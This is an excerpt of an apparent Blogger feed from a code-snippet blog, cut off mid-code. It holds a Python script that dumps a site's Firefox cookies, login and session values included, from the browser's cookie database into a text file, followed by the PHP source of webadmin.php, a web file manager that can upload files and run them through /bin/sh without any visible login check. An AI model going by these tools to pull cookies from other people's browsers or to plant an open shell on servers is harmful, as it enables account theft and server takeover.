style="font-size: small;"&gt;&lt;font class="Apple-style-span" color="#0000FF"&gt;------------------------------------------------------&amp;nbsp;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;font class="Apple-style-span" color="#0000FF"&gt;www.siteduzero.com TRUE / FALSE 1279648744 nickname ubu&amp;nbsp;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;font class="Apple-style-span" color="#0000FF"&gt;www.siteduzero.com TRUE / FALSE 1279648744 pass 8da0432739423d4ab36c3108a3abahc0187e7c27&amp;nbsp;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;font class="Apple-style-span" color="#0000FF"&gt;www.siteduzero.com TRUE / FALSE 1279648744 hash&amp;nbsp;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;font class="Apple-style-span" color="#0000FF"&gt;------------------------------------------------------&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;This means that we have the 4 variables with values:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;i&gt;nickname = ubu&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;i&gt;pass = 8da0432739423d4ab36c3108a3abahc0187e7c27&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;i&gt;hash = 02af28288e9c0747be5402f48fg17788863bf423&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;i&gt;Mid2 = 115,691,115,677&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C24691056273877620"&gt;&lt;div dir="rtl"&gt;لإستخراج ملفات تعريف الارتباط Cookies لموقع ما في فايرفوكس...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div dir="rtl"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;أولا احفظه تحت ملف مثلا cooky.py &lt;/span&gt;&lt;/div&gt;&lt;div dir="rtl"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;ثانيا تعديل السطرين التاليين :&lt;/span&gt;&lt;/div&gt;&lt;div dir="rtl"&gt;&lt;span class="Apple-style-span" style="line-height: 14px; color: rgb(51, 51, 51); "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;cookiedb = '{$HOME}/.mozilla/firefox/vkuuxfit.default/cookies.sqlite'&lt;br&gt;&lt;br /&gt;targetfile = '{$HOME}/Bureau/cookies.txt'&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div dir="rtl"&gt;&lt;span class="Apple-style-span" style="line-height: 14px; color: rgb(51, 51, 51); "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;حيث تعوض $HOME &amp;nbsp;بمسار ملفك الشخصي و&amp;nbsp;vkuuxfit بإسم ملف Firefox&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div dir="rtl"&gt;&lt;span class="Apple-style-span" style="line-height: 14px; color: rgb(51, 51, 51); "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;ثالثا تشغيل البرنامج النصي python cooky.py mysite.com&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div dir="rtl"&gt;&lt;font class="Apple-style-span" color="#333333"&gt;&lt;span class="Apple-style-span" style="line-height: 14px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;نتحصل على ملف cookies.txt&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D24691056273877620"&gt;&lt;a onClick='opennew("D24691056273877620")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: py;" &gt;#!/usr/bin/python&lt;br /&gt;import sqlite3 as db&lt;br /&gt;import sys&lt;br /&gt;cookiedb = '{$HOME}/.mozilla/firefox/vkuuxfit.default/cookies.sqlite'&lt;br /&gt;targetfile = '{$HOME}/Bureau/cookies.txt'&lt;br /&gt;what = sys.argv[1]&lt;br /&gt;connection = db.connect(cookiedb)&lt;br /&gt;cursor = connection.cursor()&lt;br /&gt;contents = "host, path, isSecure, expiry, name, value"&lt;br /&gt;cursor.execute("SELECT " +contents+ " FROM moz_cookies WHERE host LIKE '%" &lt;br /&gt;+what+ "%'")&lt;br /&gt;file = open(targetfile, 'w')&lt;br /&gt;index = 0&lt;br /&gt;for row in cursor.fetchall():&lt;br /&gt;file.write("%s\tTRUE\t%s\t%s\t%d\t%s\t%s\n" % (row[0], row[1],&lt;br /&gt;str(bool(row[2])).upper(), row[3], str(row[4]), str(row[5])))&lt;br /&gt;index += 1&lt;br /&gt;file.close()&lt;br /&gt;connection.close()&lt;br /&gt;print "Keywords: %s" % what&lt;br /&gt;print "Exported: %d" % index&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-6996589357807652367?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/6996589357807652367/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=6996589357807652367&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/6996589357807652367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/6996589357807652367'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/python-extract-firefox-cookies-extraire.html' title='[Python] Extract Firefox cookies | Extraire les cookies de Firefox'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-4339042771127138962</id><published>2010-01-11T19:06:00.000-08:00</published><updated>2010-01-12T05:16:53.485-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='edit'/><category scheme='http://www.blogger.com/atom/ns#' term='chmod'/><category scheme='http://www.blogger.com/atom/ns#' term='éditer'/><category scheme='http://www.blogger.com/atom/ns#' term='copy'/><category scheme='http://www.blogger.com/atom/ns#' term='file'/><category scheme='http://www.blogger.com/atom/ns#' term='paste'/><category scheme='http://www.blogger.com/atom/ns#' term='manager'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='gestionnaire'/><category scheme='http://www.blogger.com/atom/ns#' term='copier'/><category scheme='http://www.blogger.com/atom/ns#' term='coller'/><title type='text'>[PHP] File manager | Gestionnaire de fichiers</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;li&gt;&lt;a href="#A49021264538168904"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#B49021264538168904"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#C49021264538168904"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#D49021264538168904"&gt;&lt;span&gt;PHP&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div id="A49021264538168904"&gt;&lt;div style="text-align: left;"&gt;Gestionnaire de fichiers..&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;... Effacer, renommer, éditer, copier/coller, couper/coller, chmod'er,...&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B49021264538168904"&gt;&lt;div style="text-align: left;"&gt;A file Manager...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;... Delete, rename, edit, copy/paste, cut/paste, chmod's...&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C49021264538168904"&gt;&lt;div style="text-align: right;"&gt;إدارة الملفات&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;حذف تسمية وتحرير ونسخ/لصق ، قص/لصق&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D49021264538168904"&gt;&lt;a onClick='opennew("D49021264538168904")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;" rel="long"&gt;&amp;lt;?php&lt;br /&gt;/*&lt;br /&gt; * webadmin.php - a simple Web-based file manager&lt;br /&gt; * Copyright (C) 2004  Daniel Wacker &amp;lt;daniel.wacker@web.de&gt;&lt;br /&gt; *&lt;br /&gt; * This program is free software; you can redistribute it and/or modify&lt;br /&gt; * it under the terms of the GNU General Public License as published by&lt;br /&gt; * the Free Software Foundation; either version 2 of the License, or&lt;br /&gt; * (at your option) any later version.&lt;br /&gt; *&lt;br /&gt; * This program is distributed in the hope that it will be useful,&lt;br /&gt; * but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;br /&gt; * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&lt;br /&gt; * GNU General Public License for more details.&lt;br /&gt; *&lt;br /&gt; * You should have received a copy of the GNU General Public License&lt;br /&gt; * along with this program; if not, write to the Free Software&lt;br /&gt; * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.&lt;br /&gt; *&lt;br /&gt; * -------------------------------------------------------------------------&lt;br /&gt; * While using this script, do NOT navigate with your browser's back and&lt;br /&gt; * forward buttons! Always open files in a new browser tab!&lt;br /&gt; * -------------------------------------------------------------------------&lt;br /&gt; *&lt;br /&gt; * This is Version 0.9, revision 10&lt;br /&gt; * =========================================================================&lt;br /&gt; *&lt;br /&gt; * Changes of revision 10&lt;br /&gt; * &amp;lt;alex-smirnov@web.de&gt;&lt;br /&gt; *    added Russian translation&lt;br /&gt; * &amp;lt;daniel.wacker@web.de&gt;&lt;br /&gt; *    added &amp;lt;/td&gt; to achieve valid XHTML (thanks to Marc Magos)&lt;br /&gt; *    improved delete function&lt;br /&gt; * &amp;lt;ava@asl.se&gt;&lt;br /&gt; *    new list order: folders first&lt;br /&gt; *&lt;br /&gt; * Changes of revision 9&lt;br /&gt; * &amp;lt;daniel.wacker@web.de&gt;&lt;br /&gt; *    added workaround for directory listing, if lstat() is disabled&lt;br /&gt; *    fixed permisson of uploaded files (thanks to Stephan Duffner)&lt;br /&gt; *&lt;br /&gt; * Changes of revision 8&lt;br /&gt; * &amp;lt;okankan@stud.sdu.edu.tr&gt;&lt;br /&gt; *    added Turkish translation&lt;br /&gt; * &amp;lt;j@kub.cz&gt;&lt;br /&gt; *    added Czech translation&lt;br /&gt; * &amp;lt;daniel.wacker@web.de&gt;&lt;br /&gt; *    improved charset handling&lt;br /&gt; *&lt;br /&gt; * Changes of revision 7&lt;br /&gt; * &amp;lt;szuniga@vtr.net&gt;&lt;br /&gt; *    added Spanish translation&lt;br /&gt; * &amp;lt;lars@soelgaard.net&gt;&lt;br /&gt; *    added Danish translation&lt;br /&gt; * &amp;lt;daniel.wacker@web.de&gt;&lt;br /&gt; *    improved rename dialog&lt;br /&gt; *&lt;br /&gt; * Changes of revision 6&lt;br /&gt; * &amp;lt;nederkoorn@tiscali.nl&gt;&lt;br /&gt; *    added Dutch translation&lt;br /&gt; *&lt;br /&gt; * Changes of revision 5&lt;br /&gt; * &amp;lt;daniel.wacker@web.de&gt;&lt;br /&gt; *    added language auto select&lt;br /&gt; *    fixed symlinks in directory listing&lt;br /&gt; *    removed word-wrap in edit textarea&lt;br /&gt; *&lt;br /&gt; * Changes of revision 4&lt;br /&gt; * &amp;lt;daloan@guideo.fr&gt;&lt;br /&gt; *    added French translation&lt;br /&gt; * &amp;lt;anders@wiik.cc&gt;&lt;br /&gt; *    added Swedish translation&lt;br /&gt; *&lt;br /&gt; * Changes of revision 3&lt;br /&gt; * &amp;lt;nzunta@gabriele-erba.it&gt;&lt;br /&gt; *    improved Italian translation&lt;br /&gt; *&lt;br /&gt; * Changes of revision 2&lt;br /&gt; * &amp;lt;daniel.wacker@web.de&gt;&lt;br /&gt; *    got images work in some old browsers&lt;br /&gt; *    fixed creation of directories&lt;br /&gt; *    fixed files deletion&lt;br /&gt; *    improved path handling&lt;br /&gt; *    added missing word 'not_created'&lt;br /&gt; * &amp;lt;till@tuxen.de&gt;&lt;br /&gt; *    improved human readability of file sizes&lt;br /&gt; * &amp;lt;nzunta@gabriele-erba.it&gt;&lt;br /&gt; *    added Italian translation&lt;br /&gt; *&lt;br /&gt; * Changes of revision 1&lt;br /&gt; * &amp;lt;daniel.wacker@web.de&gt;&lt;br /&gt; *    webadmin.php completely rewritten:&lt;br /&gt; *    - clean XHTML/CSS output&lt;br /&gt; *    - several files selectable&lt;br /&gt; *    - support for windows servers&lt;br /&gt; *    - no more treeview, because&lt;br /&gt; *      - webadmin.php is a &gt;simple&amp;lt; file manager&lt;br /&gt; *      - performance problems (too much additional code)&lt;br /&gt; *      - I don't like: frames, java-script, to reload after every treeview-click&lt;br /&gt; *    - execution of shell scripts&lt;br /&gt; *    - introduced revision numbers&lt;br /&gt; *&lt;br /&gt;/* ------------------------------------------------------------------------- */&lt;br /&gt;&lt;br /&gt;/* Your language:&lt;br /&gt; * 'en' - English&lt;br /&gt; * 'de' - German&lt;br /&gt; * 'fr' - French&lt;br /&gt; * 'it' - Italian&lt;br /&gt; * 'nl' - Dutch&lt;br /&gt; * 'se' - Swedish&lt;br /&gt; * 'sp' - Spanish&lt;br /&gt; * 'dk' - Danish&lt;br /&gt; * 'tr' - Turkish&lt;br /&gt; * 'cs' - Czech&lt;br /&gt; * 'ru' - Russian&lt;br /&gt; * 'auto' - autoselect&lt;br /&gt; */&lt;br /&gt;$lang = 'en';&lt;br /&gt;&lt;br /&gt;/* Charset of output:&lt;br /&gt; * possible values are described in the charset table at&lt;br /&gt; * http://www.php.net/manual/en/function.htmlentities.php&lt;br /&gt; * 'auto' - use the same charset as the words of my language are encoded&lt;br /&gt; */&lt;br /&gt;$site_charset = 'auto';&lt;br /&gt;&lt;br /&gt;/* Homedir:&lt;br /&gt; * For example: './' - the script's directory&lt;br /&gt; */&lt;br /&gt;$homedir = './';&lt;br /&gt;&lt;br /&gt;/* Size of the edit textarea&lt;br /&gt; */&lt;br /&gt;$editcols = 80;&lt;br /&gt;$editrows = 25;&lt;br /&gt;&lt;br /&gt;/* -------------------------------------------&lt;br /&gt; * Optional configuration (remove # to enable)&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;/* Permission of created directories:&lt;br /&gt; * For example: 0705 would be 'drwx---r-x'.&lt;br /&gt; */&lt;br /&gt;# $dirpermission = 0705;&lt;br /&gt;&lt;br /&gt;/* Permission of created files:&lt;br /&gt; * For example: 0604 would be '-rw----r--'.&lt;br /&gt; */&lt;br /&gt;# $filepermission = 0604;&lt;br /&gt;&lt;br /&gt;/* Filenames related to the apache web server:&lt;br /&gt; */&lt;br /&gt;$htaccess = '.htaccess';&lt;br /&gt;$htpasswd = '.htpasswd';&lt;br /&gt;&lt;br /&gt;/* ------------------------------------------------------------------------- */&lt;br /&gt;&lt;br /&gt;if (get_magic_quotes_gpc()) {&lt;br /&gt;    array_walk($_GET, 'strip');&lt;br /&gt;    array_walk($_POST, 'strip');&lt;br /&gt;    array_walk($_REQUEST, 'strip');&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (array_key_exists('image', $_GET)) {&lt;br /&gt;    header('Content-Type: image/gif');&lt;br /&gt;    die(getimage($_GET['image']));&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (!function_exists('lstat')) {&lt;br /&gt;    function lstat ($filename) {&lt;br /&gt;        return stat($filename);&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$delim = DIRECTORY_SEPARATOR;&lt;br /&gt;&lt;br /&gt;if (function_exists('php_uname')) {&lt;br /&gt;    $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;&lt;br /&gt;} else {&lt;br /&gt;    $win = ($delim == '\\') ? true : false;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (!empty($_SERVER['PATH_TRANSLATED'])) {&lt;br /&gt;    $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);&lt;br /&gt;} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {&lt;br /&gt;    $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);&lt;br /&gt;} elseif (function_exists('getcwd')) {&lt;br /&gt;    $scriptdir = getcwd();&lt;br /&gt;} else {&lt;br /&gt;    $scriptdir = '.';&lt;br /&gt;}&lt;br /&gt;$homedir = relative2absolute($homedir, $scriptdir);&lt;br /&gt;&lt;br /&gt;$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;&lt;br /&gt;&lt;br /&gt;if (array_key_exists('olddir', $_POST) &amp;&amp; !path_is_relative($_POST['olddir'])) {&lt;br /&gt;    $dir = relative2absolute($dir, $_POST['olddir']);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$directory = simplify_path(addslash($dir));&lt;br /&gt;&lt;br /&gt;$files = array();&lt;br /&gt;$action = '';&lt;br /&gt;if (!empty($_POST['submit_all'])) {&lt;br /&gt;    $action = $_POST['action_all'];&lt;br /&gt;    for ($i = 0; $i &amp;lt; $_POST['num']; $i++) {&lt;br /&gt;        if (array_key_exists("checked$i", $_POST) &amp;&amp; $_POST["checked$i"] == 'true') {&lt;br /&gt;            $files[] = $_POST["file$i"];&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;} elseif (!empty($_REQUEST['action'])) {&lt;br /&gt;    $action = $_REQUEST['action'];&lt;br /&gt;    $files[] = relative2absolute($_REQUEST['file'], $directory);&lt;br /&gt;} elseif (!empty($_POST['submit_upload']) &amp;&amp; !empty($_FILES['upload']['name'])) {&lt;br /&gt;    $files[] = $_FILES['upload'];&lt;br /&gt;    $action = 'upload';&lt;br /&gt;} elseif (array_key_exists('num', $_POST)) {&lt;br /&gt;    for ($i = 0; $i &amp;lt; $_POST['num']; $i++) {&lt;br /&gt;        if (array_key_exists("submit$i", $_POST)) break;&lt;br /&gt;    }&lt;br /&gt;    if ($i &amp;lt; $_POST['num']) {&lt;br /&gt;        $action = $_POST["action$i"];&lt;br /&gt;        $files[] = $_POST["file$i"];&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;if (empty($action) &amp;&amp; (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) &amp;&amp; $_POST['focus'] == 'create')) &amp;&amp; !empty($_POST['create_name'])) {&lt;br /&gt;    $files[] = relative2absolute($_POST['create_name'], $directory);&lt;br /&gt;    switch ($_POST['create_type']) {&lt;br /&gt;    case 'directory':&lt;br /&gt;        $action = 'create_directory';&lt;br /&gt;        break;&lt;br /&gt;    case 'file':&lt;br /&gt;        $action = 'create_file';&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;if (sizeof($files) == 0) $action = ''; else $file = reset($files);&lt;br /&gt;&lt;br /&gt;if ($lang == 'auto') {&lt;br /&gt;    if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) &amp;&amp; strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) &gt;= 2) {&lt;br /&gt;        $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);&lt;br /&gt;    } else {&lt;br /&gt;        $lang = 'en';&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$words = getwords($lang);&lt;br /&gt;&lt;br /&gt;if ($site_charset == 'auto') {&lt;br /&gt;    $site_charset = $word_charset;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$cols = ($win) ? 4 : 7;&lt;br /&gt;&lt;br /&gt;if (!isset($dirpermission)) {&lt;br /&gt;    $dirpermission = (function_exists('umask')) ? (0777 &amp; ~umask()) : 0755;&lt;br /&gt;}&lt;br /&gt;if (!isset($filepermission)) {&lt;br /&gt;    $filepermission = (function_exists('umask')) ? (0666 &amp; ~umask()) : 0644;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (!empty($_SERVER['SCRIPT_NAME'])) {&lt;br /&gt;    $self = html(basename($_SERVER['SCRIPT_NAME']));&lt;br /&gt;} elseif (!empty($_SERVER['PHP_SELF'])) {&lt;br /&gt;    $self = html(basename($_SERVER['PHP_SELF']));&lt;br /&gt;} else {&lt;br /&gt;    $self = '';&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (!empty($_SERVER['SERVER_SOFTWARE'])) {&lt;br /&gt;    if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {&lt;br /&gt;        $apache = true;&lt;br /&gt;    } else {&lt;br /&gt;        $apache = false;&lt;br /&gt;    }&lt;br /&gt;} else {&lt;br /&gt;    $apache = true;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;switch ($action) {&lt;br /&gt;&lt;br /&gt;case 'view':&lt;br /&gt;&lt;br /&gt;    if (is_script($file)) {&lt;br /&gt;&lt;br /&gt;        /* highlight_file is a mess! */&lt;br /&gt;        ob_start();&lt;br /&gt;        highlight_file($file);&lt;br /&gt;        $src = ereg_replace('&amp;lt;font color="([^"]*)"&gt;', '&amp;lt;span style="color: \1"&gt;', ob_get_contents());&lt;br /&gt;        $src = str_replace(array('&amp;lt;/font&gt;', "\r", "\n"), array('&amp;lt;/span&gt;', '', ''), $src);&lt;br /&gt;        ob_end_clean();&lt;br /&gt;&lt;br /&gt;        html_header();&lt;br /&gt;        echo '&amp;lt;h2 style="text-align: left; margin-bottom: 0"&gt;' . html($file) . '&amp;lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;table&gt;&lt;br /&gt;&amp;lt;tr&gt;&lt;br /&gt;&amp;lt;td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray"&gt;&lt;br /&gt;&amp;lt;pre style="margin-top: 0"&gt;&amp;lt;code&gt;';&lt;br /&gt;&lt;br /&gt;        for ($i = 1; $i &amp;lt;= sizeof(file($file)); $i++) echo "$i\n";&lt;br /&gt;&lt;br /&gt;        echo '&amp;lt;/code&gt;&amp;lt;/pre&gt;&lt;br /&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;td style="text-align: left; vertical-align: top; padding-left: 3pt"&gt;&lt;br /&gt;&amp;lt;pre style="margin-top: 0"&gt;' . $src . '&amp;lt;/pre&gt;&lt;br /&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;&amp;lt;/table&gt;&lt;br /&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;        html_footer();&lt;br /&gt;&lt;br /&gt;    } else {&lt;br /&gt;&lt;br /&gt;        header('Content-Type: ' . getmimetype($file));&lt;br /&gt;        header('Content-Disposition: filename=' . basename($file));&lt;br /&gt;&lt;br /&gt;        readfile($file);&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    break;&lt;br /&gt;&lt;br /&gt;case 'download':&lt;br /&gt;&lt;br /&gt;    header('Pragma: public');&lt;br /&gt;    header('Expires: 0');&lt;br /&gt;    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');&lt;br /&gt;    header('Content-Type: ' . getmimetype($file));&lt;br /&gt;    header('Content-Disposition: attachment; filename=' . basename($file) . ';');&lt;br /&gt;    header('Content-Length: ' . filesize($file));&lt;br /&gt;&lt;br /&gt;    readfile($file);&lt;br /&gt;&lt;br /&gt;    break;&lt;br /&gt;&lt;br /&gt;case 'upload':&lt;br /&gt;&lt;br /&gt;    $dest = relative2absolute($file['name'], $directory);&lt;br /&gt;&lt;br /&gt;    if (@file_exists($dest)) {&lt;br /&gt;        listing_page(error('already_exists', $dest));&lt;br /&gt;    } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {&lt;br /&gt;        @chmod($dest, $filepermission);&lt;br /&gt;        listing_page(notice('uploaded', $file['name']));&lt;br /&gt;    } else {&lt;br /&gt;        listing_page(error('not_uploaded', $file['name']));&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    break;&lt;br /&gt;&lt;br /&gt;case 'create_directory':&lt;br /&gt;&lt;br /&gt;    if (@file_exists($file)) {&lt;br /&gt;        listing_page(error('already_exists', $file));&lt;br /&gt;    } else {&lt;br /&gt;        $old = @umask(0777 &amp; ~$dirpermission);&lt;br /&gt;        if (@mkdir($file, $dirpermission)) {&lt;br /&gt;            listing_page(notice('created', $file));&lt;br /&gt;        } else {&lt;br /&gt;            listing_page(error('not_created', $file));&lt;br /&gt;        }&lt;br /&gt;        @umask($old);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    break;&lt;br /&gt;&lt;br /&gt;case 'create_file':&lt;br /&gt;&lt;br /&gt;    if (@file_exists($file)) {&lt;br /&gt;        listing_page(error('already_exists', $file));&lt;br /&gt;    } else {&lt;br /&gt;        $old = @umask(0777 &amp; ~$filepermission);&lt;br /&gt;        if (@touch($file)) {&lt;br /&gt;            edit($file);&lt;br /&gt;        } else {&lt;br /&gt;            listing_page(error('not_created', $file));&lt;br /&gt;        }&lt;br /&gt;        @umask($old);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    break;&lt;br /&gt;&lt;br /&gt;case 'execute':&lt;br /&gt;&lt;br /&gt;    chdir(dirname($file));&lt;br /&gt;&lt;br /&gt;    $output = array();&lt;br /&gt;    $retval = 0;&lt;br /&gt;    exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);&lt;br /&gt;&lt;br /&gt;    $error = ($retval == 0) ? false : true;&lt;br /&gt;&lt;br /&gt;    if (sizeof($output) == 0) $output = array('&amp;lt;' . $words['no_output'] . '&gt;');&lt;br /&gt;&lt;br /&gt;    if ($error) {&lt;br /&gt;        listing_page(error('not_executed', $file, implode("\n", $output)));&lt;br /&gt;    } else {&lt;br /&gt;        listing_page(notice('executed', $file, implode("\n", $output)));&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    break;&lt;br /&gt;&lt;br /&gt;case 'delete':&lt;br /&gt;&lt;br /&gt;    if (!empty($_POST['no'])) {&lt;br /&gt;        listing_page();&lt;br /&gt;    } elseif (!empty($_POST['yes'])) {&lt;br /&gt;&lt;br /&gt;        $failure = array();&lt;br /&gt;        $success = array();&lt;br /&gt;&lt;br /&gt;        foreach ($files as $file) {&lt;br /&gt;            if (del($file)) {&lt;br /&gt;                $success[] = $file;&lt;br /&gt;            } else {&lt;br /&gt;                $failure[] = $file;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        $message = '';&lt;br /&gt;        if (sizeof($failure) &gt; 0) {&lt;br /&gt;            $message = error('not_deleted', implode("\n", $failure));&lt;br /&gt;        }&lt;br /&gt;        if (sizeof($success) &gt; 0) {&lt;br /&gt;            $message .= notice('deleted', implode("\n", $success));&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        listing_page($message);&lt;br /&gt;&lt;br /&gt;    } else {&lt;br /&gt;&lt;br /&gt;        html_header();&lt;br /&gt;&lt;br /&gt;        echo '&amp;lt;form action="' . $self . '" method="post"&gt;&lt;br /&gt;&amp;lt;table class="dialog"&gt;&lt;br /&gt;&amp;lt;tr&gt;&lt;br /&gt;&amp;lt;td class="dialog"&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;        request_dump();&lt;br /&gt;&lt;br /&gt;        echo "\t&amp;lt;b&gt;" . word('really_delete') . '&amp;lt;/b&gt;&lt;br /&gt;    &amp;lt;p&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;        foreach ($files as $file) {&lt;br /&gt;            echo "\t" . html($file) . "&amp;lt;br /&gt;\n";&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        echo '    &amp;lt;/p&gt;&lt;br /&gt;    &amp;lt;hr /&gt;&lt;br /&gt;    &amp;lt;input type="submit" name="no" value="' . word('no') . '" id="red_button" /&gt;&lt;br /&gt;    &amp;lt;input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" /&gt;&lt;br /&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;&amp;lt;/table&gt;&lt;br /&gt;&amp;lt;/form&gt;&lt;br /&gt;&lt;br 